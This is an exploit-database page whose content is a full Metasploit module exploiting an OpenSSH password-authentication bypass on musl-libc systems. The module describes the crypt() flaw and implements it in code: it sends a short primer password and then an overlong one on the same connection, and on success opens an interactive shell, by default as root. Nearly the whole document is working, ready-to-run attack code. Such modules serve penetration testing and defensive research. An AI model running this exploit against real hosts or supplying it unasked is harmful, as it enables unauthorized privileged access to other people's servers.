Exploit databaseDownload source
MSF-linux--ssh--openssh_musl_crypt_bypass
OpenSSH musl-libc crypt() Authentication Bypass
Sources for CVE-2026-123158
29 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
openssh_musl_crypt_bypass.rb
Ruby · 7,982 bytes##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::SSH
include Net::SSH::Transport::Constants
include Net::SSH::Authentication::Constants
OVERLONG_PASSWORD_MIN = 258
OVERLONG_PASSWORD_MAX = 500
SSH_MSG_EXT_INFO = 7
def initialize(info = {})
super(
update_info(
info,
'Name' => 'OpenSSH musl-libc crypt() Authentication Bypass',
'Description' => %q{
On musl-libc based systems (Alpine Linux, OpenWrt, Buildroot, etc.),
OpenSSH password authentication can be bypassed for accounts whose
/etc/shadow password field is "*" (locked).
musl's crypt() implementation returns "*" when given a password longer
than 256 bytes. sshd compares this return value directly against the
shadow field, which is also "*", so authentication succeeds.
The exploit requires two password attempts on the same SSH connection:
the first (any short password) primes sshd's internal fake-salt cache
with a real $5$/$6$ hash from another account on the system, and the
second (>256 byte) password triggers the musl crypt() bypass.
All five conditions must be true:
1. OpenSSH built against musl (not glibc)
2. sshd built without PAM, or UsePAM no (Alpine default)
3. PasswordAuthentication yes (OpenSSH default)
4. Target account has "*" in /etc/shadow password field
5. At least one other account has a real $5$ or $6$ hash
musl has returned "*" on overlength passwords since 2012. sshd started
borrowing other accounts' salts in 2016. The bug is exploitable on
OpenSSH as far back as 7.5p1 (musl 1.1.16, 2017).
Fixed in OpenSSH 10.6p2 (2026-11-05).
},
'Author' => [
'Özgün Kültekin', # Discovery and PoC
'Emanuele Cervelli' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-123158'],
['URL', 'https://github.com/oz9un/sshole'],
['URL', 'https://sshhole.com']
],
'DisclosureDate' => '2026-11-05',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true,
'Targets' => [
['Unix Command', { 'Type' => :unix_cmd }]
],
'DefaultOptions' => { 'PAYLOAD' => 'generic/ssh/interact' }, # rubocop:disable Lint/ModuleDefaultPayload
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
Opt::RPORT(22),
OptString.new('USERNAME', [true, 'Username to authenticate as', 'root']),
])
end
def check
result, transport = try_auth(datastore['USERNAME'])
case result
when :accepted
begin
transport.close
rescue StandardError
nil
end
CheckCode::Vulnerable("Authentication accepted for '#{datastore['USERNAME']}' with overlong password")
when :rejected
CheckCode::Unknown("Overlong password rejected for '#{datastore['USERNAME']}'")
when :not_locked
CheckCode::Safe("Account '#{datastore['USERNAME']}' accepted a short password, not locked")
when :error
CheckCode::Unknown('Could not connect or complete auth exchange')
end
end
def exploit
username = datastore['USERNAME']
print_status("Trying username: #{username}")
result, transport = try_auth(username)
case result
when :accepted
print_good("Authentication accepted for '#{username}'")
open_session(transport, username)
when :rejected
fail_with(Failure::NoAccess, "'#{username}' rejected, not vulnerable, or account not locked")
when :not_locked
fail_with(Failure::NotVulnerable, "'#{username}' accepted a short password, account is not locked with \"*\"")
when :error
fail_with(Failure::Unreachable, "Could not complete auth exchange for '#{username}'")
end
end
private
# -------------------------------------------------------------------------
# Two-stage auth probe
#
# Some OpenSSH versions need two password attempts on the SAME connection
# to prime the internal fake-salt cache before the musl bypass triggers.
#
# Returns [:accepted, transport] on success so the caller can reuse the
# authenticated transport, or [:rejected, nil] / [:error, nil] on failure.
# -------------------------------------------------------------------------
def try_auth(username)
password_len = rand(OVERLONG_PASSWORD_MIN..OVERLONG_PASSWORD_MAX)
overlong = Rex::Text.rand_text_alphanumeric(password_len)
transport = Net::SSH::Transport::Session.new(
datastore['RHOST'],
ssh_client_defaults.merge(
port: datastore['RPORT'],
timeout: datastore['SSH_TIMEOUT']
)
)
request_userauth_service(transport)
# Stage 1 - prime the fake-salt cache with a short password.
# If it succeeds, the account is not locked with "*".
vprint_status('Sending primer password')
primer = Rex::Text.rand_text_alpha(rand(6..12))
if password_attempt(transport, username, primer)
vprint_status('Primer password accepted')
transport.close
return [:not_locked, nil]
end
# Stage 2 - send the >256-byte password.
vprint_status("Sending #{password_len}-byte overlong password")
if password_attempt(transport, username, overlong)
[:accepted, transport]
else
transport.close
[:rejected, nil]
end
rescue Net::SSH::Exception, Rex::ConnectionError, Errno::ECONNREFUSED,
Errno::ECONNRESET => e
vprint_error("#{e.class}: #{e.message}")
transport&.close
[:error, nil]
end
# -------------------------------------------------------------------------
# Raw SSH packet helpers
# -------------------------------------------------------------------------
# Request the ssh-userauth service on an established transport.
def request_userauth_service(transport)
msg = Net::SSH::Buffer.from(:byte, SERVICE_REQUEST, :string, 'ssh-userauth')
transport.send_message(msg)
loop do
resp = transport.next_message
case resp.type
when SERVICE_ACCEPT then return
when SSH_MSG_EXT_INFO then next
else
raise Net::SSH::Exception, "Unexpected response #{resp.type} to service request"
end
end
end
# Send a single SSH password-auth request and return true/false.
def password_attempt(transport, username, password)
msg = Net::SSH::Buffer.from(
:byte, USERAUTH_REQUEST,
:string, username,
:string, 'ssh-connection',
:string, 'password',
:bool, false,
:string, password
)
transport.send_message(msg)
loop do
resp = transport.next_message
case resp.type
when USERAUTH_SUCCESS then return true
when USERAUTH_FAILURE then return false
when USERAUTH_BANNER then next
when SSH_MSG_EXT_INFO then next
when USERAUTH_PASSWD_CHANGEREQ
raise Net::SSH::Exception, 'Server requested password change'
else next
end
end
end
# -------------------------------------------------------------------------
# Session setup - reuses the already-authenticated transport
# -------------------------------------------------------------------------
def open_session(transport, username)
conn = Net::SSH::Connection::Session.new(transport, { user: username })
handler(conn)
rescue Net::SSH::Exception, Rex::ConnectionError => e
transport&.close
fail_with(Failure::Unknown, "Session open failed: #{e.message}")
end
end